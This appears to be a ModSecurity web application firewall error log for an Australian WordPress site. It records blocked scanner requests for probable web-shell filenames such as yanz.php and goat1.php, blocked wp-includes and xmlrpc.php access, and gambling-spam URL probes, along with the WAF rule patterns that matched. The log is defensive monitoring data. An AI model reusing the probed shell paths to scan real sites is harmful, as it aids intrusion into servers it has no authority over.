[Fri Apr 03 18:27:48.375627 2026] [:error] [pid 40562:tid 40571] [client 65.52.66.199:40904] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "ac-WJDfFMXuP9zvqCepKIwAAAYY"]
[Fri Apr 03 18:27:49.962958 2026] [:error] [pid 33446:tid 33491] [client 65.52.66.199:4321] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "ac-WJdg3dCqFYIIdw0r80QAAAE4"]
[Fri Apr 03 18:27:52.392695 2026] [:error] [pid 55174:tid 55190] [client 65.52.66.199:28341] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "ac-WKJ_WKqUonPNUHYzDiwAAAc4"]
[Fri Apr 03 18:27:56.413421 2026] [:error] [pid 33446:tid 33482] [client 65.52.66.199:18827] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "ac-WLNg3dCqFYIIdw0r9AwAAAEU"]
[Fri Apr 03 18:27:59.406717 2026] [:error] [pid 33446:tid 33481] [client 65.52.66.199:4838] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "ac-WL9g3dCqFYIIdw0r9HwAAAEQ"]
[Fri Apr 03 18:28:00.975739 2026] [:error] [pid 55174:tid 55177] [client 65.52.66.199:44289] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "ac-WMJ_WKqUonPNUHYzDnQAAAcE"]
[Fri Apr 03 18:28:02.384919 2026] [:error] [pid 35469:tid 35472] [client 65.52.66.199:4428] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "ac-WMqGvTIc8-wY3jUQXNwAAAQE"]
[Fri Apr 03 18:28:03.937296 2026] [:error] [pid 33445:tid 33470] [client 65.52.66.199:21699] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "ac-WM1lRNZ0iDVmJWM27OAAAABQ"]
[Fri Apr 03 18:28:04.911923 2026] [:error] [pid 35469:tid 35482] [client 65.52.66.199:4320] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "ac-WNKGvTIc8-wY3jUQXPQAAAQs"]
[Fri Apr 03 18:28:08.290524 2026] [:error] [pid 35469:tid 35471] [client 65.52.66.199:15036] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yanz.php"] [unique_id "ac-WOKGvTIc8-wY3jUQXRQAAAQA"]
[Fri Apr 03 18:28:10.109936 2026] [:error] [pid 40562:tid 40575] [client 65.52.66.199:18864] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yanz.php"] [unique_id "ac-WOjfFMXuP9zvqCepKYAAAAYo"]
[Fri Apr 03 18:28:11.872375 2026] [:error] [pid 33445:tid 33457] [client 65.52.66.199:33899] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yanz.php"] [unique_id "ac-WO1lRNZ0iDVmJWM27UwAAAAc"]
[Fri Apr 03 18:28:14.078425 2026] [:error] [pid 55174:tid 55191] [client 65.52.66.199:21749] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yanz.php"] [unique_id "ac-WPp_WKqUonPNUHYzDsgAAAc8"]
[Fri Apr 03 18:28:15.146170 2026] [:error] [pid 33446:tid 33499] [client 65.52.66.199:21209] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "ac-WP9g3dCqFYIIdw0r9XAAAAFY"]
[Fri Apr 03 18:28:17.562211 2026] [:error] [pid 35469:tid 35481] [client 65.52.66.199:21707] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "ac-WQaGvTIc8-wY3jUQXUwAAAQo"]
[Fri Apr 03 18:28:18.925847 2026] [:error] [pid 33446:tid 33480] [client 65.52.66.199:12491] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "ac-WQtg3dCqFYIIdw0r9YwAAAEM"]
[Fri Apr 03 18:28:20.409583 2026] [:error] [pid 55174:tid 55176] [client 65.52.66.199:33605] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "ac-WRJ_WKqUonPNUHYzDugAAAcA"]
[Fri Apr 03 18:28:22.431775 2026] [:error] [pid 33445:tid 33459] [client 65.52.66.199:26478] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/network.php"] [unique_id "ac-WRllRNZ0iDVmJWM27ZgAAAAk"]
[Fri Apr 03 18:28:23.873319 2026] [:error] [pid 33445:tid 33463] [client 65.52.66.199:4424] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/network.php"] [unique_id "ac-WR1lRNZ0iDVmJWM27aQAAAA0"]
[Fri Apr 03 18:28:26.875945 2026] [:error] [pid 35469:tid 35473] [client 65.52.66.199:21195] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/network.php"] [unique_id "ac-WSqGvTIc8-wY3jUQXZAAAAQI"]
[Fri Apr 03 18:28:34.392214 2026] [:error] [pid 33542:tid 33567] [client 65.52.66.199:33909] [client 65.52.66.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ac-WUnwb6uB1LaGtepbYPgAAANY"]
[Fri Apr 03 18:28:35.953618 2026] [:error] [pid 33446:tid 33477] [client 65.52.66.199:17792] [client 65.52.66.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ac-WU9g3dCqFYIIdw0r9gAAAAEA"]
[Fri Apr 03 18:28:43.010560 2026] [:error] [pid 33445:tid 33460] [client 65.52.66.199:21229] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file88.php"] [unique_id "ac-WW1lRNZ0iDVmJWM27iAAAAAo"]
[Fri Apr 03 18:28:46.032765 2026] [:error] [pid 33446:tid 33478] [client 65.52.66.199:14983] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file88.php"] [unique_id "ac-WXtg3dCqFYIIdw0r9lAAAAEE"]
[Fri Apr 03 18:28:50.025578 2026] [:error] [pid 35469:tid 35476] [client 65.52.66.199:33903] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file88.php"] [unique_id "ac-WYqGvTIc8-wY3jUQXgQAAAQU"]
[Fri Apr 03 18:28:53.295469 2026] [:error] [pid 33447:tid 33521] [client 65.52.66.199:19678] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file88.php"] [unique_id "ac-WZUgaPmDHz92j4lMh_QAAAJE"]
[Fri Apr 03 18:28:57.283652 2026] [:error] [pid 40533:tid 40546] [client 65.52.66.199:15004] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "ac-WafbIAA8AViDmwsuNmgAAAUs"]
[Fri Apr 03 18:29:01.242429 2026] [:error] [pid 33445:tid 33469] [client 65.52.66.199:19406] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "ac-WbVlRNZ0iDVmJWM27oQAAABM"]
[Fri Apr 03 18:29:07.368437 2026] [:error] [pid 33446:tid 33497] [client 65.52.66.199:19414] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admir.php"] [unique_id "ac-Wc9g3dCqFYIIdw0r9vgAAAFQ"]
[Fri Apr 03 18:29:17.959704 2026] [:error] [pid 55174:tid 55177] [client 65.52.66.199:39062] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "ac-WfZ_WKqUonPNUHYzD6QAAAcE"]
[Fri Apr 03 18:29:19.704825 2026] [:error] [pid 35469:tid 35488] [client 65.52.66.199:29066] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "ac-Wf6GvTIc8-wY3jUQXzgAAARE"]
[Fri Apr 03 18:29:24.630391 2026] [:error] [pid 33446:tid 33479] [client 65.52.66.199:14758] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "ac-WhNg3dCqFYIIdw0r95wAAAEI"]
[Fri Apr 03 18:29:26.331852 2026] [:error] [pid 33542:tid 33549] [client 65.52.66.199:40218] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "ac-Whnwb6uB1LaGtepbYdwAAAMQ"]
[Fri Apr 03 18:29:28.189737 2026] [:error] [pid 33446:tid 33501] [client 65.52.66.199:28392] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "ac-WiNg3dCqFYIIdw0r97AAAAFg"]
[Fri Apr 03 18:29:30.537520 2026] [:error] [pid 40562:tid 40577] [client 65.52.66.199:24320] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "ac-WijfFMXuP9zvqCepK7gAAAYw"]
[Fri Apr 03 18:29:32.035666 2026] [:error] [pid 33445:tid 33455] [client 65.52.66.199:39846] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "ac-WjFlRNZ0iDVmJWM277wAAAAU"]
[Fri Apr 03 18:29:33.462188 2026] [:error] [pid 33446:tid 33498] [client 65.52.66.199:15840] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "ac-Wjdg3dCqFYIIdw0r9_AAAAFU"]
[Fri Apr 03 18:29:37.848502 2026] [:error] [pid 35469:tid 35481] [client 65.52.66.199:16012] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filer.php"] [unique_id "ac-WkaGvTIc8-wY3jUQX7wAAAQo"]
[Fri Apr 03 19:03:33.756358 2026] [:error] [pid 35469:tid 35477] [client 103.10.31.79:63685] [client 103.10.31.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.10.31.79, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ac-ehaGvTIc8-wY3jUQoPAAAAQY"]
[Fri Apr 03 19:03:36.260574 2026] [:error] [pid 35469:tid 35486] [client 117.198.99.189:53580] [client 117.198.99.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.198.99.189, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ac-eiKGvTIc8-wY3jUQoRQAAAQ8"]
[Fri Apr 03 19:11:10.936465 2026] [:error] [pid 33445:tid 33456] [client 43.135.133.194:58402] [client 43.135.133.194] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ac-gTllRNZ0iDVmJWM3PHQAAAAY"]
[Fri Apr 03 20:01:28.066844 2026] [:error] [pid 33446:tid 33497] [client 43.155.195.141:51332] [client 43.155.195.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ac-sGNg3dCqFYIIdw0o32wAAAFQ"]
[Fri Apr 03 22:27:11.838297 2026] [:error] [pid 55174:tid 55184] [client 143.20.64.97:35340] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ac_OP5_WKqUonPNUHYwHAAAAAcg"]
[Fri Apr 03 22:27:14.364850 2026] [:error] [pid 40533:tid 40543] [client 143.20.64.97:45222] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ac_OQvbIAA8AViDmwsvGxQAAAUg"]
[Fri Apr 03 22:27:16.895902 2026] [:error] [pid 35469:tid 35474] [client 143.20.64.97:45230] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ac_ORKGvTIc8-wY3jUS75QAAAQM"]
[Fri Apr 03 22:27:19.331008 2026] [:error] [pid 33446:tid 33489] [client 143.20.64.97:45240] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ac_OR9g3dCqFYIIdw0qJ0gAAAEw"]
[Fri Apr 03 22:27:21.737068 2026] [:error] [pid 33445:tid 33470] [client 143.20.64.97:45254] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ac_OSVlRNZ0iDVmJWM0wLAAAABQ"]
[Fri Apr 03 22:27:24.219316 2026] [:error] [pid 55174:tid 55179] [client 143.20.64.97:48434] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ac_OTJ_WKqUonPNUHYwHDAAAAcM"]
[Fri Apr 03 22:27:26.815405 2026] [:error] [pid 33445:tid 33463] [client 143.20.64.97:48440] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "ac_OTllRNZ0iDVmJWM0wUQAAAA0"]
[Fri Apr 03 22:27:29.243523 2026] [:error] [pid 33445:tid 33467] [client 143.20.64.97:48452] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ac_OUVlRNZ0iDVmJWM0wagAAABE"]
[Fri Apr 03 22:27:31.641117 2026] [:error] [pid 33445:tid 33460] [client 143.20.64.97:48466] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ac_OU1lRNZ0iDVmJWM0wdwAAAAo"]
[Fri Apr 03 22:27:34.213101 2026] [:error] [pid 33445:tid 33457] [client 143.20.64.97:46500] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ac_OVllRNZ0iDVmJWM0wiwAAAAc"]
[Fri Apr 03 22:27:36.757599 2026] [:error] [pid 33445:tid 33469] [client 143.20.64.97:46502] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ac_OWFlRNZ0iDVmJWM0wnAAAABM"]
[Fri Apr 03 22:27:39.329810 2026] [:error] [pid 40533:tid 40559] [client 143.20.64.97:46510] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ac_OW_bIAA8AViDmwsvHAgAAAVg"]
